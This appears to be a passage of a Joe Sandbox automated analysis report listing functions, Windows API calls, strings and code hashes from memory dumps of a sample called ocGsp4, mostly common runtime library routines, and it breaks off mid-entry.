Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction ID: 7ee3fd7e733d4e74fec9409c955775a149389a7590508d8a8ab1853f49e5f17f
Opcode Fuzzy Hash: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction Fuzzy Hash: DDE1B572908B818EE710AF26D4803BD77A0FBA5B68F144175DB9D67666CF38E489C740

Function 00007FFE132095BC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE13208BC9,?,?,?,?,00007FFE13208C14), ref: 00007FFE132095CB
FlsSetValue.KERNEL32(?,?,?,00007FFE13208BC9,?,?,?,?,00007FFE13208C14), ref: 00007FFE13209601
FlsSetValue.KERNEL32(?,?,?,00007FFE13208BC9,?,?,?,?,00007FFE13208C14), ref: 00007FFE1320962E
FlsSetValue.KERNEL32(?,?,?,00007FFE13208BC9,?,?,?,?,00007FFE13208C14), ref: 00007FFE1320963F
FlsSetValue.KERNEL32(?,?,?,00007FFE13208BC9,?,?,?,?,00007FFE13208C14), ref: 00007FFE13209650
SetLastError.KERNEL32(?,?,?,00007FFE13208BC9,?,?,?,?,00007FFE13208C14), ref: 00007FFE1320966B

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction ID: 864a79f61816f30d9f744385e111a96ec7447dcc6a65e85cacf4777a2a4f9cec
Opcode Fuzzy Hash: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction Fuzzy Hash: ED114A20B0CE428EFA64B763569113E65529FE8BB0F4447B5E93F366F6DE6CE449C200

Function 0000000140013850 Relevance: 9.0, APIs: 6, Instructions: 18synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001385B
LeaveCriticalSection.KERNEL32 ref: 0000000140013872
SetEvent.KERNEL32 ref: 000000014001387F
WaitForSingleObject.KERNEL32 ref: 0000000140013891
CloseHandle.KERNEL32 ref: 000000014001389E
CloseHandle.KERNEL32 ref: 00000001400138AB

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterEventLeaveObjectSingleWait
String ID:
API String ID: 3326452711-0
Opcode ID: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction ID: 377d3f5d57f943d14cdd7bc93d1ee7868a659259fbd0ecc80ccbf17849fffa4f
Opcode Fuzzy Hash: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction Fuzzy Hash: 71F00274611D05D5EB029F53EC953942362B79CBD5F590111EB0E8B270DF3A8599C705

Function 0000000140003790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 00000001400037D3
#4.VSELOG ref: 0000000140003823
EnterCriticalSection.KERNEL32 ref: 000000014000382F
LeaveCriticalSection.KERNEL32 ref: 00000001400038B7

Strings

amps_Exec: pHandle=%p, execId=%d, iParam=%d, xrefs: 000000014000380B

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: amps_Exec: pHandle=%p, execId=%d, iParam=%d
API String ID: 2984211723-1229430080
Opcode ID: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction ID: 21f659f61b14fb79d6609d2ab4e2a3109e2b4daa988e78f6170daec752ad98bd
Opcode Fuzzy Hash: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction Fuzzy Hash: 2C311375614B4082EB228F56F890B9A7360F78CBE4F480225FB6C4BBB4DF7AC5858740

Function 00007FFE13207F28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFE13207F4D
GetProcAddress.KERNEL32 ref: 00007FFE13207F63
FreeLibrary.KERNEL32 ref: 00007FFE13207F8A

Strings

mscoree.dll, xrefs: 00007FFE13207F44
CorExitProcess, xrefs: 00007FFE13207F5C

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction ID: ebba7c17654feb8c5a842861a7653ecb2dfffcc07ba7b36a94c37c568f59e85f
Opcode Fuzzy Hash: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction Fuzzy Hash: 5FF0C261B18F0689EB10AB26E4443396320AFE9B70F540375DA6D566F5CF2CD049C300

Function 0000000140008510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 000000014000851F
GetProcAddress.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 0000000140008534
ExitProcess.KERNEL32 ref: 0000000140008545

Strings

CorExitProcess, xrefs: 000000014000852A
mscoree.dll, xrefs: 0000000140008518

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction ID: f47e7dafb9c87e29c0f228a4507f2bac89d7b1d3f8a3a9cfd33eb857191fa9e3
Opcode Fuzzy Hash: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction Fuzzy Hash: 3AE04CB0711A0052FF5A9F62BC947E823517B5DB85F481429AA5E4B3B1EE7D85888340

Function 00007FFE132040D4 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FFE132041F7
__AdjustPointer.LIBCMT ref: 00007FFE13204242

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction ID: 6f6fa632d4a09f0b22d7ea56d52526b5440f7cdd38b60465b1c6fa3688516bc7
Opcode Fuzzy Hash: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction Fuzzy Hash: 5BB1A021A0AE428DEA65FB53944023D66A0AFF4BA4F19C4B5DE4C377A5DE3CE449CB40

Function 0000000140009F50 Relevance: 7.7, APIs: 5, Instructions: 208COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 0000000140009F76

Part of subcall function 0000000140008370: Sleep.KERNEL32(?,?,00000000,0000000140005545), ref: 00000001400083C0

GetFileType.KERNEL32 ref: 000000014000A11C

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: FileInfoSleepStartupType
String ID:
API String ID: 1527402494-0
Opcode ID: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction ID: 2708af0267d8365e54dad009941ca9060f987db411f69ca3ecc20d856229d7df
Opcode Fuzzy Hash: b08a78d08636f6435b28fe3dd3a9dc7fe07bd3625b9b0f375563a7ba95a95139
Instruction Fuzzy Hash: 68917DB260468085E726CB2AE8487D936E4A71A7F4F554726EB79473F1DA7EC841C301

Function 0000000140009E30 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E3E
GetLastError.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E5E
GetCommandLineA.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009E9B
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,0000000140005C5B), ref: 0000000140009EBB

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CommandLine$ByteCharErrorLastMultiWide
String ID:
API String ID: 3078728599-0
Opcode ID: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction ID: cab5f27f5268d67fa2b955b7a4895f7bd1e416bc4c6d53bc856f5ac88b27d897
Opcode Fuzzy Hash: ef26d27679934e8a1eb9f7884d3deda4952e844cae744d2e9e47d116f2e36b92
Instruction Fuzzy Hash: 04316D72614A8082EB21DF52F80479A77E1F78EBD0F540225FB9A87BB5DB3DC9458B00

Function 000000014000FD50 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDAC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDC7

Part of subcall function 0000000140010B30: CreateFileA.KERNEL32 ref: 0000000140010B5A

GetConsoleOutputCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000C780), ref: 000000014000FDDC
WideCharToMultiByte.KERNEL32 ref: 000000014000FE0D
WriteConsoleA.KERNEL32 ref: 000000014000FE32

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction ID: bea3f08d648c3b04eb316e4c6042deaac10e1fdf59f4257f2eabc448b4c653dc
Opcode Fuzzy Hash: 4201eac49788cf302f684002ef01a2526af238478ded1ce40358f727cda20400
Instruction Fuzzy Hash: 38317AB1214A4482EB12CF22F8403AA73A1F79D7E4F544315FB6A4BAF5DB7AC5859B00

Function 00007FFE1320FB54 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFE1320FB7C
_set_statfp.LIBCMT ref: 00007FFE1320FB97
_set_statfp.LIBCMT ref: 00007FFE1320FBB3
_set_statfp.LIBCMT ref: 00007FFE1320FBEF

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction ID: 458284781289daed9fbb34b7da86bed918a30e164b14b60c8f36c042b95b029a
Opcode Fuzzy Hash: 4d3c2bc84a878a3ff3d229176cc4d467c3c986fbb6f3ea169b2dd3d189eb8c82
Instruction Fuzzy Hash: 73110433E98E4B29F354312AE12673C10006FFC3B0F1442B0E5AE262FE9E2CA84CC900

Function 00007FFE13209684 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FFE1320766F,?,?,00000000,00007FFE1320790A,?,?,?,?,?,00007FFE13207896), ref: 00007FFE132096A3
FlsSetValue.KERNEL32(?,?,?,00007FFE1320766F,?,?,00000000,00007FFE1320790A,?,?,?,?,?,00007FFE13207896), ref: 00007FFE132096C2
FlsSetValue.KERNEL32(?,?,?,00007FFE1320766F,?,?,00000000,00007FFE1320790A,?,?,?,?,?,00007FFE13207896), ref: 00007FFE132096EA
FlsSetValue.KERNEL32(?,?,?,00007FFE1320766F,?,?,00000000,00007FFE1320790A,?,?,?,?,?,00007FFE13207896), ref: 00007FFE132096FB
FlsSetValue.KERNEL32(?,?,?,00007FFE1320766F,?,?,00000000,00007FFE1320790A,?,?,?,?,?,00007FFE13207896), ref: 00007FFE1320970C

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction ID: 63c60781ad130f443e14a1b6891a47bc712a2bef4e56b06d447b90016bf4ac51
Opcode Fuzzy Hash: bb51f29ac47eeb1f6796421cb9a02d5f68bea7befc5ae5f024f95b6d7c89f858
Instruction Fuzzy Hash: 29116A61B0CA424DFA68BB27A65117D65929FE47F0F5443B4E83F366F6EE2CE449C200

Function 00007FFE13209518 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFE13209529
FlsSetValue.KERNEL32 ref: 00007FFE13209548
FlsSetValue.KERNEL32 ref: 00007FFE13209570
FlsSetValue.KERNEL32 ref: 00007FFE13209581
FlsSetValue.KERNEL32 ref: 00007FFE13209592

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction ID: 6c10db60c7baa1ec6f11d5a73051852661f67296fe9ca5fc5aba5ac45ae8fa40
Opcode Fuzzy Hash: 268c2f24943cee61b6b4fcee88cdb8167fba3483a6ba8794c8981ad7437e3c9d
Instruction Fuzzy Hash: 6211D650B0DA464EFAA8B6A3545217D59918FE4770E5407B4D93F3A2F3ED2CB449C610

Function 00007FFE13205448 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFE132054B8
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE13205503

Strings

RCC, xrefs: 00007FFE132054D4
MOC, xrefs: 00007FFE132054CC

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction ID: 8951c0f60ec2cf77faaf2b17432a2aff8c3767b91d5969cd6be4098219279403
Opcode Fuzzy Hash: 05e6bcd6379202f9de8a504331af606c6f0c7846a7ada8f8d1f8410d364d1b1d
Instruction Fuzzy Hash: 1B91A173A08B85CEE710EB66D4402AD7BA0FB94798F24417AEB4D27765DF38D199CB00

Function 00007FFE13203A38 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE13203A63
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE13203AFA
RtlUnwindEx.KERNEL32 ref: 00007FFE13203B54

Strings

csm, xrefs: 00007FFE13203AE1

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction ID: d07186214d5f82e317c32afe8ae9b6b92203a5ad53b6d089979b0dd3d82a8a51
Opcode Fuzzy Hash: 600c049ef3683cbbf08a5c5522dfbe353e9582842af90703f029184ead156da5
Instruction Fuzzy Hash: 5C51C332B19A428EDB14EB1BD44463E7391EBA4BA8F108171DB4E537A9DF7DE845C700

Function 00007FFE132059C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE132059F0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFE13205AD8

Strings

csm, xrefs: 00007FFE13205B2A
csm, xrefs: 00007FFE13205A12

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction ID: af04bb4df9dff6b50d74e5e412080b2ea54cde7e5d77434e64863f510f254d93
Opcode Fuzzy Hash: e758ec8c21499b3e432f6d95c1f73bf76a1a56d3c0875a2448db4a431929008f
Instruction Fuzzy Hash: A751903290CB82CEEB64AB12948436C77A0EBA4BA4F244175DA4D67BA5CF3CF458C700

Function 00007FFE132051D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FFE13205237
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE13205283

Strings

MOC, xrefs: 00007FFE1320524B
RCC, xrefs: 00007FFE13205253

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction ID: fa8a6fa0d2bee757c33d907a1ee077f6af99ac06a4bdf83e559a3897f91b2a08
Opcode Fuzzy Hash: 5cda7244b452661d0672782f382aa0b3873e73ebf845244b9e3a73cca65a7280
Instruction Fuzzy Hash: 55617F3290CB8589DB60AF16E4403AEB7A0FBD5BA4F144265EB9C17B65DF7CD194CB00

Function 000000014000EDC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

GetModuleHandleA.KERNEL32 ref: 000000014000EE2D
GetProcAddress.KERNEL32 ref: 000000014000EE42

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 000000014000EE38
kernel32.dll, xrefs: 000000014000EE26

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: AddressHandleLoadModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3055805555-3733552308
Opcode ID: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction ID: 601bfb796087d826a15eddab62e6da73c6b3e4e45b37998f9684764b2688f2d2
Opcode Fuzzy Hash: 8c1e87d42adfe8e60614ff850b90a208d486e410194b6671aa5990fefe8541df
Instruction Fuzzy Hash: 5C2136B1614B8582EB66DB23F8407DAA3A5B79C7C0F880526BB49577B5EF78C500C700

Function 00000001400026F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 000000014000271C
GetCurrentProcess.KERNEL32 ref: 0000000140002721
